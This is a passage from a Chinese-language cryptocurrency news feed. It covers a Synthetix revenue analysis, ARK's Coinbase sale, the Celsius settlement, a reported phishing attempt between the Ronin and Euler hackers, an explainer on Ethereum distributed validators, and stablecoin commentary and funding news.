收入主要来自于Synths现货交易和永续合约交易，Synthetix去年重新推出的原子交换即属于现货交易，虽然当时受到期待，但可能因为Synthetix现货交易的手续费（sETH与sUSD间的交易手续费为0.35%）高于其它交易所，目前已经较少使用。如下图所示，Synthetix过去7天的总交易量为11.92亿美元，其中最高的3月17日交易量4.92亿美元，和GMX当日5亿美元的交易量相当。原子交换的占比通常小于总交易量的1%，而在去年年底，原子交换约占总交易量的50%。在3月11日～3月14日期间，因为USDC脱锚，市场波动较大，存在着套利机会，原子交换也发挥着作用。 可以看出Optimism上的永续合约交易现在是Synthetix最主要的收入来源。 Synthetix Perps V2方案在2022年12月推出，能够降低费用、提高可扩展性和资金效率。 在GMX中，GLP充当了交易员们的对手盘，获得费用的70%，GMX质押者获得费用的30%，在当前GLP经常出现亏损的情况下，原生代币GMX的质押者仍然可以获得收益，即将全部风险和部分收益分配给了GLP。而在Synthetix中，SNX债务池在不需要额外流动性提供者的情况下，既充当了交易员的对手盘，也作为项目的原生代币获得所有收益，所有风险和收益都由SNX债务池承担，因此更需要采取措施来减少作为交易员对手盘的风险。 Synthetix通过资金费用和折价/溢价定价功能来激励市场中的多头和空头未平仓合约保持平衡。交易拥挤的一侧将被收取资金费用，另一侧获得资金费用。在中心化交易所，资金费用通常每8小时收取一次，而Synthetix中的资金费用会随着持仓的延续实时收取。同样，会使多空比例偏移的交易会被收取溢价，使多空保持平衡的交易获得折价，这种机制可能会使高频交易员在发生偏离时积极套利。虽然GMX中的交易员也会被收取资金费用，但这本质上是用于杠杆交易的借币费用，多空双方都会被收取，作为分配给GLP和GMX的收入，起不到平衡多空头寸的作用，这也让单边行情中GLP承担的风险更高。 去中心化衍生品协议中，除了从Synthetix中独立出去的Kwenta之外，Decentrex、Polynomial等也集成了Synthetix Perps V2的流动性，可以通过Synthetix完成交易。同样以3月17日的数据为例，当日Perps V2的总交易量为4.9亿美元，其中4.8亿美元通过Kwenta完成，主要还是依赖Kwenta。 从Kwenta官网可以看到，目前BTC、ETH的空头头寸均已达到上限，多头头寸也接近上限，多空比约为1:1，这就意味着Perps V2的开放仅使SNX债务池额外承担了少量风险。而最大未平仓量可以通过治理调整，也说明Synthetix和Kwenta的交易需求强劲，交易量和未平仓量还有上升的空间。 此外，Synthetix已通过治理决定从4月份开始进行Perps V2的交易奖励活动，每周为交易员发放200万OP奖励，持续17周，可能进一步激励交易量。 从Havven到Synthetix，再到Synthetix V2，Synthetix团队展现了极强的更新能力，Synthetix V3将能够满足各种定制化的需求，以让Synthetix真正成为流动性中心。目前，Synthetix V3的功能正在逐步上线。在已部署的Synthetix V3中，已经支持抵押SNX，铸造snxSUD。 首先，Synthetix V3会有一种新的稳定币snxUSD，以解决sUSD扩展性不足和可能脱锚的问题。在升级之后，现有的稳定币sUSD也可以迁移为snxUSD。在目前的版本中，大多数sUSD都通过质押SNX铸造，虽然Synthetix也开通了超额抵押WETH铸造snxUSD的功能，但只有少量用户使用。在sUSD价格略高于或低于1美元时，也缺乏通过即时的套利活动让价格回到1美元的途径。新版本中将允许snxUSD和部分抵押品1:1互换，那么通过套利活动就可以将sUSD的价格限制在小范围内，如0.9975～1.0025美元。同时，更便捷的铸造方式也可能使snxUSD的发行量上升。 在现有的Synthetix V2中，所有的交易都经过单一的SNX债务池，考虑到可能存在的风险，也就使很多功能受到限制，如上述的snxUSD铸造方式。Synthetix V3引入了池的概念，让利益相关者可以对特定市场自定义风险敞口，使债务池的风险和收益能够差异化。治理可以决定每个池的抵押品类型和上限，即使出现风险，也可以限制在小范围内。同时也给SNX质押者提供了承担更高风险获得更高收益的机会。 让池的所有者使用奖励管理器，将奖励分发给用户，可以按照质押比例，也可以参考质押时间等因素，提供更灵活的价值分配方案。 Synthetix V3提出了一种清算机制，清算头寸的抵押品和债务在金库中的其他参与者之间分配。如果整个金库被清算，全部抵押品将被系统没收并出售以偿还债务。 Synthetix团队展现了极强的项目更新能力，虽然目前等功能已经较少被使用，但Perp V2的需求强劲，Kwenta的未平仓量几乎达到上限，4月份开始的交易激励也可能进一步促进交易量。 Synthetix V3将更为灵活，满足各种定制化的需求，同时将风险限制在小范围内。新的稳定币snxUSD将更容易铸造，价格也更容易锚定在1美元。  ( 4 min )
    Cathie Wood的Ark ETF售出价值1350万美元的Coinbase股票
    PANews 3月22日消息，据The Block报道，Cathie Wood的ARK Fintech Innovation ETF出售了价值1350万美元的Coinbase股票，这是自7月以来首次出售大量该公司股票。ARK出售了其ARK Fintech Innovation ETF的160,887股。这结束了2022年11月开始的长达数月的购买狂潮。 此前消息，本月早些时候，Ark增持了近3000万美元的Coinbase股票。该基金目前上涨5%，年初至今上涨33%，此前在2022年下跌了约65%。Coinbase股价今天上涨11%，收于83.99 美元，年初至今上涨近150%。  ( 4 min )
    法官批准Celsius托管账户结算，并返还72.5%的加密资产
    PANews 3月22日消息，据The Block报道，在美国纽约南区破产法院周二举行的听证会上，法官Martin Glenn批准了Celsius债务人、无担保债权人委员会和托管账户持有人特设小组之间的和解。个人托管账户持有人必须选择参与和解。反过来，Celsius债务人将同意根据交易条款解决针对托管账户持有人的托管资产的所有诉因。 根据和解协议，Celsius托管账户持有人可以在其托管账户中获得72.5%的加密货币，不包括交易费用。周二批准的和解协议没有释放与Earn计划中持有的资产相关的任何权利或诉因。Glenn今年1月裁定，Celsius Earn账户中的资产属于公司，而不是客户。  ( 4 min )
    Ronin黑客试图对Euler黑客进行网络钓鱼以窃取资金，Euler官方已喊话干预
    PANews 3月22日消息，据CoinDesk报道，链上标记为“Ronin bridge exploiter”（Ronin黑客）的地址昨日向标记为“Euler exploiter”（Euler黑客）的地址发送了一条链上通知，要求其解密一条加密信息。在包含此通知的这笔交易中，Ronin黑客向Euler黑客发送了2枚ETH。但专家称，该消息是一个网络钓鱼骗局，试图窃取Euler攻击者钱包的凭据。在Ronin黑客钱包向Euler黑客钱包发送消息几分钟后，Euler Finance的开发人员试图用他们自己的消息进行干预，他们警告Euler黑客警惕所谓的解密软件，称“最简单的方法就是退还资金”。Euler的开发人员在另一份交易中继续说道：“在任何情况下都不要试图查看该消息。不要在任何地方输入您的私钥。提醒您，您的机器也可能被入侵。” 以太坊基金会前开发人员Hudson Jameson表示，Ronin黑客的提议可能是一种几乎不加掩饰的企图，目的是诱使Euler黑客交出他们从Euler Finance窃取的私钥，从而交出加密货币。但他表示，链上消息背后的动机仍不清楚。 此前昨日消息，Euler正与攻击者进行私下谈判，攻击者称“无意保留不属于我们的东西”。  ( 4 min )
    详解分布式验证器技术DVT：如何让以太坊更去中心化？
    撰文：Paul Veradittakit，Pantera Capital 合伙人 编译：Frank，Foresight News 从工作量证明（PoW）到权益证明（PoS）的转变标志着以太坊的一个重要里程碑，并为用户带来了一系列好处。 其中一个主要好处就是大大减少了网络的碳足迹，考虑到人们对加密技术对环境影响的日益担忧，这是一个可喜的进展。然而以太坊向 PoS 的过渡也带来了一些重大挑战，最紧迫的问题之一就是需要确保交易的弹性、可扩展和安全验证，这对于维护以太坊网络的完整性和防止欺诈、其他恶意活动至关重要。 此外作为验证者，为网络做出贡献的成本可能也很高，并且需要大量的专业技术知识，从而限制了可以参与验证过程的人员数量，这会在网络中产生中心化风险，从而对网络的长期生存能力产生负面影响。 什么是 DVT？ 分布式验证器技术（DVT，Distributed Validator Technology）使以太坊权益证明（PoS）验证器能够跨多个节点或机器运行（称为分布式验证器），实时协作以验证交易。 DVT 解决了单节点验证器面临的关键问题，包括机器故障、连接问题、惩罚风险、私钥泄露和高成本入门门槛等。 它通过在单个网络验证器中创建冗余来提高验证器的弹性，例如当一个节点或一台（多台）机器出现故障时，集群中的其他节点将保持验证器运行（主动 - 主动冗余，active-active redundancy）。同时也通过降低节点离线的风险，允许在更少的机器上运行更多的验证器（对于大型验证器运营商来说，这是一个主要的盈利障碍），从而降低了基础设施成本。 DVT 使得各种规模的验证器更容易参与并更加稳健地运行。对于小型验证器而言，DVT 降低了集群中每个节点的绑定要求，使得多个运营商可以合作满足 32 个 ETH 的总要求，从而来运行一个验证器。 最终 DVT 促进更大规模的验证器去中心化，提高了验证者的参与度，从而为世界构建一个更加稳定、安全和可信的以太坊。 Obol Labs 是一支专注于为公共区块链网络开发权益证明（PoS）基础设施并提供解决方案的专业研究团队，中心目标是增强以太坊共识层的弹性、规模和安全性，如今的重点是通过构建和推广 DVT 来扩展以太坊主网。 Obol Labs 通过 Obol Network 促进了 DVT 的采用，该网络是一组开源工具，可实现信任最小化，包括分布式验证器启动器、Charon、Obol Splitters 和 Obol Testnets。 分布式验证器启动器是一个用户友好的界面，可帮助启动分布式验证器；而 Charon 是一个中间件客户端，允许验证器以容错和分布式的方式运行；Obol Splitters 由一组 Solidity 智能合约组成，可实现不可变的奖励分割；最后 Obol Testnets 是一套不断发展的公共激励测试网络，旨在允许任何规模的运营商在部署到以太坊主网之前进行测试。 借助 Obol，用户可以快速轻松地参与验证器池，并启用更具抗审查和第三方控制能力的去中性化应用程序。 通过为用户开启参与验证过程的新途径并启用去中心化网络，Obol 正在释放以太坊网络的潜力，并使更广泛的用户更容易访问它。 此前 Obol Network 完成了 1250 万美元的 A 轮融资，Pantera Capital 和 Archetype 共同领导，Coinbase Ventures 和 BlockTower 等参投，创始人 Collin Myers 曾参与构建 Actact 项目并在 ConsenSys 担任高级职位，并在过去的 4 年里一直与以太坊基金会合作，于 2019 年推出了 Obol Labs。 Obol Network 的 DVT 和去中心化平台特别降低了与以太坊网络验证器相关的风险，例如由于停机而导致的「惩罚」（Slashing）和收益损失。 「惩罚」（Slashing）是验证器在验证冲突交易或未能正确履行其职责时所需承担的罚款。如今最大的惩罚风险之一是运营商具有主备设置，即在主节点离线时，有一个备用节点处于待命状态，这意味着验证器私钥存储在两个位置，因此如果发生导致主备节点都处于活动状态的错误，则相同的验证器私钥将进行签名，这将导致惩罚事件的发生。 DVT 通过允许运营商合作组成单个分布式验证器，降低了惩罚的风险。在这种情况下，每个运营商只拥有单个私钥的一部分，称为密钥共享。只要有足够多的节点处于活动状态以满足所需的密钥共享门槛，就可以创建完整的私钥以签署交易，这意味着私钥永远不会存在于多个节点中，从而消除了惩罚事件的可能性。 此外，Obol 的 DVT 协议旨在通过创建「主动 - 主动冗余」（active-active redundancy）来最大限度地降低验证器停机导致的收益损失的风险。即使分布式验证器集群中的一部分节点发生故障，整个验证器仍然可以运行，这确保了验证器停机时具有更高的弹性。 DVT 还可以帮助降低以太坊网络中的密钥泄露风险和拜占庭风险。由于每个节点只拥有验证者私钥的一部分，因此私钥很难被窃取，因为攻击者必须要攻破同一个集群中的多个节点。 此外分布式验证器集群的每个节点也可以由不同的操作人员运行，减少了每个操作人员在离线或进行恶意行为时对验证器或网络的影响。 DVT 的另一个关键优点是高度可定制和灵活。因为验证者可以根据他们的个人需求形成网络，所以 DVT 可以适应不同验证者和组织的特定需求。 此外 DVT 降低了小型验证器的保证金要求，同时提高了整体性能。这意味着随着以太坊网络的增长和发展，DVT 可以用来增加保护网络的验证者数量，确保网络随着时间的推移保持高效和弹性。  ( 5 min )

  • Open

    寻找算法稳定币的原生之锚
    Chainfeeds 导读： 算法稳定币始终面临着流动性不足、黑天鹅事件等风险。Bing Ventures 投资经理对 GHO、CrvUSD 和 Frax 的稳定性、市场认可度和未来发展空间等维度进行全面解析，并介绍了 LUSD、DLLR、sUSD 等不同类型的去中心化算法稳定币，最后提出未来看好的 4 个方向的算法稳定币协议。 文章来源： https://mirror.xyz/0x867A3f354c0eCB6622aEf1bF14C3BE79338AD889/FK15RbA5RHYSaU9rUoFNco_zD_thAJKw4U0TwnSpr8I 文章作者： Kyle 观点： Kyle：比特币和以太坊正在形成强大的价值网络。更重要的是它们组成了加密货币的信任基石，这也意味着其依附于价值网络的稳定币项目有坚实的资产支撑。但是，用户体验层的改善和网络锁定资产的规模将是主要区隔它们的价值尺度； 内容来源 Kyle：有特定用户规模的超级应用自己发行的稳定币，本质上绕开了信任中介，直接和它的用户形成铸币契约。这种情况下，像 Curve、Aave、Synthetix 这样的协议会成为「超级当铺」。它们的用户会比在现实金融世界更快更丝滑地体会到定制化的金融服务。用户体量和业务创新性决定了它们的天花板，笔者更看好 Synthetix 的发展； 内容来源 Kyle：全链部署型的算法稳定币有可能实现真正的去中心化、跨链互操作性和无限扩展性，它们可以在任何链上自由地发行、转移和交易，从而实现了跨链互操作性和可移植性； 内容来源 Kyle：此外，在未来的发展中，Delta-neutral 稳定币模型可能会成为一个重要的趋势，但是实现这个模型需要相应的期货协议的支持，同时也需要注意风险控制和市场适应性等问题。 内容来源  ( 4 min )
    Bitget 以 3 亿美元估值向 BitKeep 追加投资 3000 万美元，并收购其控股权
    Bitget 以 3 亿美元估值向 BitKeep 追加投资 3000 万美元，并收购其控股权 加密货币交易所 Bitget 宣布以 3 亿美元估值向加密钱包 BitKeep 追加投资 3000 万美元，并收购其控股权。Bitget 在一份声明中表示：「对钱包的投资是 Bitget 的一项重要举措，因为它将把业务版图扩展到钱包领域，并帮助其提供原生存储和资产管理服务。」 Bitget 董事总经理 Gracy Chen 在采访中表示，其控股权远高于 51%，具体持股比例及此前投资金额并未透露。但她表示，Bitget 在 2021 和 2022 年投资了 BitKeep，但没有公开信息。 此外，BitKeep 首席运营官 MokaHan 表示，BitKeep 将继续作为独立实体运营。 内容来源  ( 203 min )
    打破「激励诅咒」：对 Nostr 及 Damus 破圈现象的思考
    Chainfeeds 导读： 近年来，随着越来越多的项目被推向市场，如何打破狭隘的圈子，吸引更广泛的用户成了亘古不变的问题。Damus 作为一个引人注目的案例，成功吸引了许多圈外用户的关注，引发了持续讨论。此次，DAOrayaki 社区邀请到加密 KOL Jolestar，分享其对 Nostr 及 Damus 的破圈现象和 Defi 所面临的金融化「激励诅咒」的思考。 文章来源： https://mp.weixin.qq.com/s/-ypKH6wMykJ0uDv5avIaQQ 文章作者： DAOrayaki 观点： jolestar：所有成功的体系，都有一个很好的激励机制支撑。社交领域的激励本质上是依赖激励机制引导用户创造内容，然后用内容吸引更多用户，从而进入正反馈循环。而内容创作和品牌建立的过程是长期的，但是现有的激励措施都是短期利益，这会吸引注重短期利益的用户，而这种用户生产出来的内容一般不是高质量内容，所以整个目标就不匹配了。 内容来源 jolestar：我认为 Damus 出圈的一个核心因素是它的精神化叙事，基本上整个互联网圈子，都需要一种新的东西让大家去体验尝试。虽然说他的体验跟 Web2 应用还有差距，但是已经比 Web3 圈子的其他应用好多了。另外，有客户端，破圈的概率会大一点。另外一个就是它没有在一开始就引入激励模型和 token，也是一个容易出圈的点，更容易引起圈外用户的好感。 内容来源 DAOrayaki：「激励诅咒」是一个很有趣的提法，如何在保证激励最大化产生动能的同时，又确保不陷入为了激励而激励的怪圈是未来圈内人士都需要思考的问题。虽然 Damus 目前还存在很多问题，持续增长的用户数量有限，服务器充斥着无价值的信息及垃圾广告，虽然 Nostr 还有很多技术层面的难题需要解决。但，另辟蹊径的开拓之路从来都不是一件易事，这需要更多的建设者的参与，也需要更多的圈外人加入到破圈现象中来，最终，一起打破「激励诅咒」。 内容来源  ( 32 min )
    【英文】「去中心化」稳定币之死：去中心化稳定币发展史及全链美元 USDO
    Chainfeeds 导读： 如果几家银行就可以摧毁一切，那么它真的是去中心化金融吗？为什么几乎所有主要的「去中心化」稳定币都因为一家银行倒闭而大幅脱钩？为什么大多数去中心化稳定币都成为 USDC 包装器（多数 USDC 支持）？带着这几个问题，TapiocaDAO 梳理了去中心化稳定币的起源和发展历程，并提出全链美元稳定币 USDO。 文章来源： https://mirror.xyz/tapiocada0.eth/S18oc-jYp8wQNcskKi1ZNYyMqLru7B5IxArXn9765Fc 文章作者： TAPIOCADAO 观点： TAPIOCADAO：虽然 UST 削弱了人们对「去中心化」稳定币的信心，但它给我们上了重要的一课：算法稳定币根本无法长时间运作。除非资金流入多于流出，否则去信任化的去中心货币无法与美元挂钩。这意味着，每 1 美元的去中心化 USD，都需要超过 1 美元的支持。【原文为英文】 内容来源 TAPIOCADAO：但是，这也不意味着我们必须满足于 USDC 包装器或以 USDC（或 USDT、USDP、BUSD 等）作为主要（有时唯一）支持的「去中心化」稳定币。我们也不需要满足于严格只支持一种抵押品（如 ETH）的 SAI 风格的「去中心化」稳定币，如 LUSD。我们也不应该放弃所有资本效率换取高最低抵押率。最后，我们不应该依靠 veCRV 和 CVX 等激励机制的资本提供者来确保过度抵押的去中心化稳定币的流动性足够深。【原文为英文】 内容来源 TAPIOCADAO：平衡价格稳定、审查阻力和资本效率的去中心化稳定币三难困境，确保 DeFi 生存并繁荣的唯一方法就是再次在链上建立去中心化美元计价货币。TapiocaDAO 基于可组合性、无需信任、稳定性、资本效率和抗审查性五个原则推出了 Omnichain Dollar（USDO）。USDO 被设计为稳定币，在不牺牲可持续性和稳定性的情况下提供尽可能高的资本效率，并允许每条链上的 DeFi 用户能够自由使用资金，而不是被拦在跨链桥收费处。【原文为英文】 内容来源  ( 48 min )
    【英文长推】zkSync 如何通过 Hyperchain 改变游戏规则？
    Chainfeeds 导读： 近日，在 Arbitrum 的空投热度下，很多人注意到基于 ZK Rollup 的以太坊二层网络 zkSync。那么，zkSync 到底是什么？与 Arbitrum 有何不同？它有什么优势？加密研究员 The Smart Ape 发推分析 zkSync 的 Hyperchain 机制，具备 ZK Rollup 安全性和可扩展性优势的同时降低其开发门槛。 文章来源： https://twitter.com/ed_Nuward/status/1638296348503031811 文章作者： The Smart Ape 观点： The Smart Ape：ZK rollups 在安全性和可扩展性方面优于 Optimistic rollups，但缺点是 ZK rollups 非常复杂，需要大量开发，这就是 zkSync 现在正在做的事情。Hyperchain 是 zkSync 最重要的概念之一，它是 zkEVM 的类分形实例，并行运行并在 L1 主网上共同结算。【原文为英文】 内容来源 The Smart Ape：任何人都可以开发和部署 Hyperchain，但为了保持信任和完全互操作性，每个 Hyperchain 都必须由与主 zkSync L2 实例完全相同的 zkEVM 引擎驱动。因此，我们可以把每个应用程序 / 协议想象成一个 Hyperchain（一个 L3），它依赖于 L2（zkSync）且完全可互操作，就像每个协议都是一个区块链，类似于以太坊上的 Cosmos。zkSync 的源代码是完全开源的，任何人都可以分叉 zkSync L2，并在其上构建其他应用程序。【原文为英文】 内容来源 The Smart Ape：今年年初，zkSync 推出了 Alpha 主网，目前只对开发者或协议开放，未向用户开放。目前该项目是中心化的，去中心化将是项目的最后阶段。到那时，项目将掌握在用户手中，用户将推动项目的发展。目前，zkSync 尚未公布关于代币经济学的信息，但可以肯定的是，gas 费用将以 ETH 支付。因此，如果发布代币，将是像 Arbitrum 这样的治理代币。【原文为英文】 内容来源  ( 2 min )
    Web3 开发者身份平台 Aspecta 完成 350 万美元种子轮融资，真格基金参投
    Web3 开发者身份平台 Aspecta 完成 350 万美元种子轮融资，真格基金参投 Web3 开发者身份平台 Aspecta 宣布完成 350 万美元种子轮融资，真格基金、HashKey Capital、Foresight Ventures、Galxe、Dorahacks、CyberConnect、Mask Network 和 P12 等参投。 Aspecta 通过使用大型语言模型审查开发者贡献的项目中的代码质量，为开发者创建类似 LinkedIn 的身份页面提供基于 AI 的配置文件生成器，继而让社区了解程序员的能力水平。Aspecta 的算法分析用户钱包地址如何与智能合约交互，并相应地标记他们的活动类型，使链上数据更加结构化。目前，Aspecta 已与 GitHub 集成，其 alpha 版本候补名单已吸引约 130,000 名用户。 内容来源  ( 41 min )
    Race Capital 二期基金 Fund II 完成 1.81 亿美元募资，已投资数字钱包 Ottr Finance 等 10 个项目
    Race Capital 二期基金 Fund II 完成 1.81 亿美元募资，已投资数字钱包 Ottr Finance 等 10 个项目 据彭博社报道，专注于早期加密货币和技术投资的 Race Capital 二期基金 Fund II 已完成 1.81 亿美元募资。据悉，该基金已经进行 10 项投资，包括机器学习开发平台 Sematic 和数字钱包 Ottr Finance。 据加密数据平台 Rootdata 统计，Race Capital 此前投资项目包括 DeFi 项目 Huma Finance、全球支付平台 Ping、Web3 通信基础设施 Notifi、加密钱包 Martian、Solana 钱包 Ottr Finance、网络数据分析平台 Umami 等。 内容来源  ( 2 min )
    【英文长推】详解 AI 生成 NFT 项目 Botto：如何推动 AI 艺术民主化
    Chainfeeds 导读： 凭借创造与人类艺术家无异的原创作品的能力，生成性人工智能正在为创造力开辟新的可能性。 Botto 是一个将生成性人工智能、艺术 NFT 和 DAO 治理相结合的项目。Delphi Digital 研究员 Teng Yan 介绍了 Botto 如何将三者结合，创造新的 Web3 经济。 文章来源： https://twitter.com/0xPrismatic/status/1637998969597853696 文章作者： Teng Yan（Delphi Digital 研究员） 观点： Teng Yan（Delphi Digital 研究员）：Botto 的艺术引擎每周生成超过 350 件独特的艺术作品，其艺术风格在不同时期有很大不同。Botto 的艺术引擎是动态的，它的演变和艺术方向由社区塑造，选择作品的品味模型（ taste-model）和文字提示的算法，由社区的投票反馈训练而成。【原文为英文】 内容来源 Teng Yan（Delphi Digital 研究员）：Botto 产生了以 ETH 为单位的真实收入，并将其分配给其社区。Botto 的大部分的收入来自于每周的拍卖收益。Botto 体现了 Web3 的精神：粉丝共同创造和所有权。我十分欣赏 Botto 将人工智能艺术民主化，用户只需要几个 BOTTO 代币就可以参与每周投票，成为人工智能艺术运动的一部分。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜提供免费 NFT 的平台：FreeNFT
    Chainfeeds 导读： FreeNFT 是一个为其用户提供免费 NFT 的平台，并提供独家抽奖和进入热门项目的机会。加密货币 KOL NFTboi 从团队、产品功能、参与方式等方面介绍了此项目。 文章来源： https://twitter.com/nftboi_/status/1637957316090953728 文章作者： NFTboi 观点： NFTboi：持有 FreeNFT 中 NFT 的人可以获得独家抽奖和参加备受追捧的项目发布活动的机会。任何人都可以通过在他们网站上注册来赢取公共抽奖。用户可以通过使用他们的钱包签署消息并关注一些 Twitter 来在其网站上注册。【原文为英文】 内容来源 NFTboi：该平台有五个收藏品系列，其中 OG Ticket 系列是最有价值的，可以让用户获得所有未来 NFT 空投。第二个 FreeNFT 系列是 Launch Ticket 系列，可以免费铸造给发布日在场的任何人，它曾提供了增强版白名单机会，并且也将参与 genesis PFP 白名单。【原文为英文】 内容来源 NFTboi：FreeNFT 平台上一些最近的成功案例包括 Anipang Support Club 和 Dimensionals。Anipang 是一个拥有超过 1 亿用户的大型休闲游戏，其价格在二级市场上达到了 0.85ETH 的峰值。Dimensionals 也正在开发一个 NFT 游戏，其地板价为 2.23ETH。FreeNFT 被在 2022 年筹集了 2 亿美元资金的 LimitBreak 收购。【原文为英文】 内容来源  ( 2 min )
    数据复盘 USDC 危机后的稳定币市场：稳定币购买力跌至短期低点
    Chainfeeds 导读： 尽管 USDC 的危机在 3 月 13 日已经得以解除，但此次脱锚仍然给稳定币市场带来了诸多变化和思考。PANews 作者 Carol 通过分析了稳定币的基本概况和市场数据（3 月 11-18 日）后发现法币稳定币的平均市值上涨，基于加密资产的稳定币的平均市值下跌。 文章来源： https://www.panewslab.com/zh/articledetails/0kbt7c9n.html 文章作者： PANews 观点： PANews：1）TUSD 近期市值激增超 54%，USDC 危机更利空将其作为抵押品的稳定币。USDC 的危机并没有造成法币稳定币的集体崩盘，反而 6 种法币稳定币的平均市值都是上涨的，可见市场对法币稳定币的信心仍然比较坚挺。但是，USDC 的危机缺持续利空了基于加密资产的稳定币尤其是抵押品中包含 USDC 的稳定币。 内容来源 PANews：2）危机后 USDC 市值已不到 USDT 一半，超百种稳定币中法币稳定币是绝对主流。截至 3 月 18 日，USDT 依然是稳定币「龙头」。其次是 USDC，市值约为 360.3 亿美元。经过此次危机后，USDC 当前市值约为 USDT 的 47%，不到一半。目前，市值最高的仍然是法币稳定币。 内容来源 PANews：3）交易所存量跌至 214 亿美元，稳定币购买力跌至短期低点。在资产价格短期较快上升的情况下，稳定币市值因脱锚危机反而整体下降，实际购买力下降。这为市场回归牛市带来了更多不确定性。4）DEX 中稳定币间交易量激增至 231 亿美元，当前存贷款利率跌至月初水平。DEX 上 USDC 的购买量激增是由于对法币稳定币的信心，一些用户在 USDC 相对便宜的时候买入，并押注它会重新与美元锚定。 内容来源  ( 4 min )
    【英文长推】观点：美联储注入救助银行的流动性不会导致股市上涨
    Chainfeeds 导读： 自 2009 年以来，流动性注入推动了标普 500 指数上涨。投资研究机构 Game of Trades 认为，对于此次银行危机，美联储已经注入了 3000 亿美元用于救助银行，但这一次可能不会导致股市上涨。 文章来源： https://twitter.com/gameoftrades_/status/1638248066783543296 文章作者： Game of Trades 观点： Game of Trades：SVB 是自 2008 年以来最大的美国银行破产事件，美联储通过向银行提供流动性稳定了银行业，并且由此导致了 2021 年以来首次扩张。自 2009 年以来，美联储的资产负债表与股票价格呈正相关关系，许多投资者预计当前资产负债表扩张将导致股票上涨。【原文为英文】 内容来源 Game of Trades：然而地区银行 ETF（$KRE）已经下跌超过 30％，在 10 天内达到 15 年中只出现 5 次的变化率水平：2020、2018、2015、2011 和 2008。美国 CPI 为 6％，远高于 2％ 目标限制了美联储积极干预的能力。【原文为英文】 内容来源 Game of Trades：我们认为当前金融体系不存在像 2008 年那样系统风险，金融危机主要由家庭信用泡沫引起，而我们今天并没有这种情况。现在面临着加速通往今年经济衰退路径的银行危机问题，银行需要收紧其放贷标准以避免更多银行挤兑。【原文为英文】 内容来源  ( 2 min )
    BitMEX：展望加密市场，未来几个月可能遇到的 3 种情景
    Chainfeeds 导读： 加密货币交易平台 BitMEX 认为美联储很可能在年底前停止加息，引发资金流入全球资本市场和避险资产。在这种情况下，比特币和以太坊等加密货币可能会受益。本文由白泽研究院编译。 文章来源： https://www.defidaonews.com/article/6810264 文章作者： BitMEX Research 观点： BitMEX Research：情景一：风险偏好恢复。BitMEX 的数据显示，美联储可能会在 2023 年下半年放慢加息步伐或完全停止加息，并且开始降息。各国央行只能尽快放弃激进的加息策略以避免实体经济活动进一步下滑。加息政策的修正可能会推动市场复苏并提高对加密货币领域的兴趣。 内容来源 BitMEX Research：情景二：继续保持谨慎。尽管这种可能性很低，但由于担心可能出现滞胀，美联储将在 2023 年以后继续加息的风险已经存在。 这种「意外情况」可能会导致比特币价格暴跌至 5,000 美元，而大多数投资者可能会关注黄金等「历史悠久的避风港」。 内容来源 BitMEX Research：情景三：更安全的资产类别？BitMEX 坚持认为，2023 年加密货币行业可能会出现多项技术的发展，修复遗留问题，并将加密货币转变为风险较低的资产类别。 预计许多西方国家将以某种方式加入加密货币的潮流。而中国继续发展 CBDC，这可能会带给中国一个深入数字革命的机会。俄罗斯、泰国、香港和许多其他国家也表示有意推出其法定货币的数字化版本。 内容来源  ( 1 min )
    Brevis：ZK 全链数据计算和验证平台
    Chainfeeds 导读： 作为 Web3 去中心化应用 (dApps）核心的智能合约目前无法以去信任的方式来访问和利用存储在多个区块链完整历史中的大量数据。为了解决这个问题，CelerNetwork 技术社区推出 Brevis，一个 ZK 全链数据计算和验证平台，它使 dApp 能够以完全去信任的方式访问、计算和利用跨多个区块链的任意数据。 文章来源： https://mp.weixin.qq.com/s/j4fqo002zaNnc5hJh_UZEQ 文章作者： CelerNetwork 技术社区 观点： CelerNetwork 技术社区：Web 2.0 应用存在数据互操作性受限、身份碎片化等问题，而基于区块链的 Web3 dApp 可以打破信息孤岛。然而，智能合约无法完全去信任地访问存储在区块链中的绝大部分数据。零知识简洁证明技术可以解决这个问题，并将计算从高单位成本方迁移至低单位成本方，提高整个证明系统的效率。 内容来源 CelerNetwork 技术社区：Brevis 的架构包含三个主要组件：zkFabric、zkQueryNet 和 zkAggregatorRollup。zkFabric 从所有连接的区块链中收集「区块头」，并生成证明其有效性的 ZK 共识证明。这些「区块头」经过进一步的 zk 验证，存储在 zkAggregatorRollup 中。zkQueryNet 接受来自 dApp 的数据查询，并根据存储在 zkAggregatorRollup 中已经证明的「区块头」生成 ZK 查询证明。这些查询结果经过 zk 验证后，也会存储在 zkAggregatorRollup 中。 内容来源 CelerNetwork 技术社区：Brevis 还可支持开发者创建 dApp，并访问全链任意时间的数据。它可以用于数据驱动型 DeFi、用户获取渠道去信任进行归因分成、ZK 去中心化身份解决方案和帐户抽象等领域。 内容来源  ( 34 min )
    链游开发商 CCP Games 完成 4000 万美元融资，a16z 领投
    链游开发商 CCP Games 完成 4000 万美元融资，a16z 领投 链游开发商 CCP Games 完成 4000 万美元的资金，a16z 领投，Makers Fund、Bitkraft、Kingsway Capital、Nexon、Hashed 等参投。资金将用于制作一款以 Eve Online 宇宙为背景的新的 3A 区块链游戏。 CCP 总部位于冰岛首都雷克雅未克，并在伦敦和上海设有工作室。CCP Games 首席执行官 Hilmar Veigar 表示，这笔融资将使 CCP Games 能够利用其研发团队的发现，利用区块链技术全面开发新的 3A 游戏。 内容来源  ( 2 min )
    Web3 社交平台 OP3N 以 1 亿美元估值完成 2800 万美元 A 轮融资，Animoca Brands 领投
    Web3 社交平台 OP3N 以 1 亿美元估值完成 2800 万美元 A 轮融资，Animoca Brands 领投 据 Techcrunch 报道，基于 web3 的社交 AI 平台 OP3N 完成 2800 万美元 A 轮融资，由 Animoca Brands 领投，Dragonfly Capital、SuperScrypt、Creative Artists Agency 和 New Enterprise Associates 的 Connect Ventures、Republic Crypto、Avalanche 的暴雪基金、Galaxy Digital 和 Warner Music Interactive 等参投。该公司估值为 1 亿美元。新资金将用于进一步开发其应用程序以及壮大其领导团队。 OP3N 基于聊天的产品 Superapp 旨在通过将区块链和去中心化技术实施到 Web 2.0 友好界面中来缩小 Web 2.0 和 Web3 之间的差距。该应用程序将能够将音频、视频和混合媒体内容添加到链上交互中，以便用户可以获得一站式体验。2021 年，OP3N 完成了 1000 万美元的种子轮融资，投资者包括 Goodwater Capital、Soma Capital、500 Global、WhaleShark、Twitch 联合创始人 Justin Kan 和 The Sandbox 联合创始人兼首席运营官 Sébastien Borget 等。 内容来源  ( 39 min )
